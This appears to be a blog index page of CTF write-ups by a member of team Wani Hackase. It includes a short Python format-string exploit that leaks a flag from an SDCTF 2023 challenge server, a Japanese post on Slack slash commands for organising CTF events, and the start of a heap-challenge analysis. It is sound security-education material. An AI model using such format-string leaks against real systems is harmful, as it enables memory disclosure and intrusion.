SDCTF 2023 writeup

I participated SDCTF 2023 as Wani Hackase and took 5th place. Thank you for organizing nice CTF events! PWN/money-printer This binary contains a format string bug and the flag is located at stack. I just send %i$08lx to reveal the flag as shown below. 1from toyotama import * 2 3_r = Socket("nc money.sdc.tf 1337") 4_r.sendlineafter("want?\n", -1000) 5 6_r.sendlineafter("audience?\n", " ".join([f"%{i}$08lx" for i in range(10, 16)])) 7_r.recvuntil("said: ") 8flag = _r.recvline().decode().split() 9 10flag = b"".join([bytes.fromhex(x)[::-1] for x in flag]) 11flag += b"}" 12print(flag) sdctf{d4mn_y0u_f0unD_4_Cr4zY_4M0uN7_0f_M0n3y} MISC/Form bomb protector After connecting the server, it spawn a shell but we cannot use most commands since some syscall is prohibited. It accepts bash builtin commands, so I combined some of them to read the flag. ...

2023-05-11 · 11 min · 2315 words · Laika

Wani HackaseのSlackにあるスラッシュコマンドの紹介

はじめに 本記事はCTF Advent Calendarの16日目の記事です。 昨日はkanonさんの「初心者がCTF始めるためにはどうすればいいのか(個人的偏見)」でした。 初めの解けない問題が多いうちはなかなか辛いですが、私もとにかく問題を解きまくっているときが一番成長を実感しますね。 今回は、Wani HackaseのSlackにある便利スラッシュコマンド(n=2)の紹介です。1 Wani Hackaseが設立したときに私は居なかったのですが、当時からSlackを使っていたようで今でもSlackを使っています。 チャンネル立てるのめんどくさい Wani Hackaseでは毎週のミーティングで、(だいたい週末にある)参加するCTFを適当に選んでいます。 私が参加登録をする係をしていて2、イベントごとに1つのSlackのチャンネル立てるのですが、これが結構めんどくさいです。 そこで、チャンネルを立てる作業を半自動化できるSlackのスラッシュコマンドを作って少し楽をしています。 次に実際のコマンドの動作の流れを紹介します。 スラッシュコマンド CTFtimeからイベントを取得する /event と、それ以外のイベント用の /custom_event があります。 /event CTFtimeからイベントを取得して、選んだイベントをもとにチャンネルを作ってくれます。 /event コマンドで起動します。 CTFtimeの直近10件くらいのUpcomingなイベントが表示されるので1つ選びます。 チャンネル名に使うイベント名の略称と、ログイン時に使用するID/PWを入力します。 PWはランダムな文字列を自動生成して最初から入力されているので、登録時にここからコピペもできます。(勿論ダミーです) submitすると #events チャンネルに、選択したイベントのチャンネルへのリンクが貼られます。 #2022_12_intent のように生成されたイベントチャンネルへのリンクを押すと、イベントの日時やリンク、ログイン情報などが投稿されたチャンネルへ飛びます。 日時は日本時間に合わせてあります。 /custom_event CTFtimeには掲載されていないイベント用のコマンドで、手動で入力したイベント情報をもとにチャンネルを作ってくれます。 Slackには時刻を入力できるフォームがあるのでやや便利です。 基本的に主催チームのタイムゾーン基準で開催時刻が記載されていて日本標準時への変換が面倒なことが多いので、タイムゾーンを指定することでそのまま日時を打てるようにしてあります。 /custom_event コマンドは全部手動で入力します。 CTFtime API /eventでCTFtimeのイベントを取得していますが、これにはCTFtimeのAPIを利用しています。 このページはリンクが見つけにくいので3そもそも存在に気づきにくいです。 丁寧なドキュメントがあるわけではないのでAPIが返すイベント情報によくわからないフィールドもありますが、適当にパースして雰囲気で使っています。 Discord版スラッシュコマンド Slackがフリープランの90日以前のメッセージ閲覧に制限をかけ始めたのでDiscordへの移行を見越してDiscord版のスラッシュコマンドも作っていました。 最近(?)のDiscordはモーダルウィンドウとかも出せるようになっているらしく、似たような物を作れると思っていたのですが、ドキュメントを読み解くのにかなり苦戦して途中で投げています…… やる気が再燃したら多分完成させると思います。 おわりに そんなに複雑なことをしている訳ではないのですが、かなり作業が楽になりました。 いっそ参加登録も自動化できたらいいなーとか考えていましたが、規格でもない限り無理なので諦めました…… 4 明日はArkさんが2022年のおもしろWeb問を紹介されるようです! 本当はExtended Hidden Number Problemの話を書きたかったのですが、師走は本当に忙しいので軽めの記事に落ち着きました ↩︎ いつの間にか参加登録マンになっていた ↩︎ そもそもメインのページからリンクが無いかもしれない? どうやって見つけたかも思い出せない🙃 ↩︎ 規格といえば、配布ファイル解凍時に「ファイルが散らばる」or「ディレクトリが出てくる」を定める規格があってもいいのにな~と常々思っています。 ↩︎

2022-12-16 · 1 min · 63 words · Laika

Srdnlen CTF 2022 Rat Pack

Srdnlen CTF 2022に参加していました。 解き損ねたpwnのRat Packという問題のメモです。 問題 典型的なheap問でよくある、メニューがあって操作ができるタイプの問題です。 書き方はかなりCっぽいですが、C++でコンパイルされています。 まずはGhidraとかで適当にreversingをしておきます。 rat構造体 この問題の中心となるratという構造体は以下のような構造になっています。(変数名は公式Writeup1で公開されているソースコードに準拠) 1struct rat { 2 struct rat** pack; // スタック上のstruct rat* packへのポインタ 3 void(*dialogue)(struct rat*); // base pointer 4 char name[16]; // ratの名前 5 int maxlen; // ratの名前の最大長 6} 7 8// |0|1|2|3|4|5|6|7|8|9|a|b|c|d|e|f| 9// +00h |pack-----------|dialogue-------| 10// +10h |name---------------------------| 11// +20h |maxlen---------| | 操作 この構造体に対して可能な操作は以下の通りです。ただし、packaddrはratを管理するサイズ16の配列です。 createRat() 1void createRat(struct rat** packaddr) { 2 // Allocate and initialize 3 struct rat* newRat = (struct rat*) malloc(sizeof(struct rat)); 4 newRat->maxlen = NAME_LEN; 5 newRat->dialogue = dialogue; 6 newRat->pack = packaddr; 7 name(newRat); 8 9 // Place rat in pack. 10 for (int i = 0; i < MAX_RATS; i++) { 11 if (packaddr[i] == NULL) { 12 packaddr[i] = newRat; 13 return; 14 } 15 } 16 printf("You ran out of rat space!\n"); 17 free(newRat); 18} sizeof(struct rat) = 0x28 のサイズの領域を確保(実際は0x30) これをnewRatとする。 newRatのメンバ変数を初期化し、name(newRat)で名前を設定 packaddrを先頭から走査し、空いている箇所にnewRatを設定 もし領域が空いていなければfree(newRat) greetRat() ...

2022-10-09 · 3 min · 564 words · Laika